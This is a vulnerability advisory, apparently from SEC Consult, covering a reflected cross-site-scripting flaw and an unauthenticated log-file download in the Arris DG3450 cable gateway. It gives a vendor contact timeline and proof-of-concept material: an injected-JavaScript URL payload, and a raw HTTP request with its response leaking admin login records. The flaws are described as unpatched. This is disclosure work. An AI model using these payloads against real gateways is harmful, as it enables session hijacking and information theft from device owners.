Multiple Vulnerabilities in Arris DG3450 Cable Gateway

Title

Multiple Vulnerabilities

Product

Arris DG3450 Cable Gateway

Vulnerable Version

AR01.02.056.18_041520_711.NCS.10

Fixed Version

-

CVE Number

CVE-2023-27571, CVE-2023-27572

Impact

medium

Homepage

https://www.commscope.com

Found

21.10.2022

By

Steffen Robertz (Office Vienna) | SEC Consult Vulnerability Lab

A reflected cross-site-scripting vulnerability has been discovered in the Arris DG3450 Cable Gateway. It allows an attacker to execute arbitrary JavaScript in the context of the victim's session. Furthermore, an unauthenticated log file download has been discovered.

Vendor description

Arris has been acquired by CommScope in 2019.

"At CommScope we push the boundaries of communications technology to create the world’s most advanced networks. We design, manufacture, install and support the hardware infrastructure and software intelligence that enable our digital society to interact and thrive. Working with customers, we advance broadband, enterprise and wireless networks to power progress and create lasting connections. Across the globe, our people and solutions are redefining connectivity, solving today’s challenges and driving the innovation that will meet the needs of what’s next."

Source: https://www.commscope.com/about-us/

 

Business recommendation

The vendor did not reply to any of our communication attempts. The security issues have not been fixed. Users of this product are urged to contact their support representative and request the vulnerabilities to be fixed.

SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues.   

 

Vulnerability overview/description

1) Reflected Cross-Site-Scripting Vulnerability (CVE-2023-27572)

An attacker can execute arbitrary JavaScript code in the context of the victim's session, thus perform all actions, exfiltrate information, etc. In order to exploit this vulnerability the attacker will have to trick the user into visiting a manipulated URL.

2) Missing Authentication (CVE-2023-27571)

Logfiles can be downloaded without prior authentication, once the correct URL is known. This allows an attacker to gain further information about the usage of the device.

 

Proof of concept

1) Reflected Cross-Site-Scripting Vulnerability (CVE-2023-27572)

The following URL has to be visited by the victim in order to execute arbitrary JavaScript code.

http: //$IP/https_redirect.php?page=%22;alert(document.domain);var%20dummy=%22

2) Missing Authentication (CVE-2023-27571)

The following HTTP request will return the log file of the device without checking for a valid session cookie. 

GET /troubleshooting_logs_download.php?log_type=system&time_frame=today HTTP/1.1
Host: $IP

HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
Set-Cookie: PHPSESSID=38b5a65ba1a4477e29efd73ee1e01554; path=/; HttpOnly
X-XSS-Protection: 1; mode=block
strict-transport-security: max-age=600; includeSubDomains
Server: ARRIS Server
X-Frame-Options: DENY
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'; worker-src blob:
Cache-control: private
Pragma: private
Expires: 0
Content-type: text/plain;charset=utf-8
Content-Disposition: attachment; filename="troubleshooting_logs_system_today.txt"
Content-Transfer-Encoding: binary
Accept-Ranges: bytes
Content-Length: 437
Date: Tue, 21 Jun 2022 20:51:07 GMT

GUI: User:admin login 
	06/15/2022 22:46:56	Notice 

GUI: User:admin logout 
	06/15/2022 22:42:14	Notice 

GUI: User:admin logout 
	06/15/2022 22:41:26	Notice 

GUI: User:admin logout 
	06/15/2022 22:41:06	Notice 

GUI: User:admin logout 
	06/15/2022 22:40:47	Notice 

GUI: User:admin login 
	06/15/2022 22:33:22	Notice 

GUI: User:admin logout 
	06/15/2022 22:31:51	Notice

Vulnerable / tested versions

The vulnerabilities have been tested on the following device / firmware:

  • Arris DG3450 with software version AR01.02.056.18_041520_711.NCS.10

Vendor contact timeline

2022-11-22 Contacting vendor through TAC.helpdesk@commscope.com; no response.
2022-12-05 Asking for security contact through @Arris Twitter social media. No response. Received "You can no longer send messages to this person" after initial message.
2022-12-05 Contacting vendor via privacycontact@commscope.com; no response.
2023-01-24 Contacting vendor again via privacycontact@commscope.com and TAC.helpdesk@commscope.com; no response
2023-03-02 Requesting CVE numbers.
2023-03-06 Release of security advisory.

Solution

The vendor did not reply to any of our communication attempts. The security issues have not been fixed. Users of this product are urged to contact their support representative and request the vulnerabilities to be fixed.

Workaround

None

Advisory URL

https://sec-consult.com/vulnerability-lab/

Interested to work with the experts of SEC Consult? Send us your application

Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices 

Back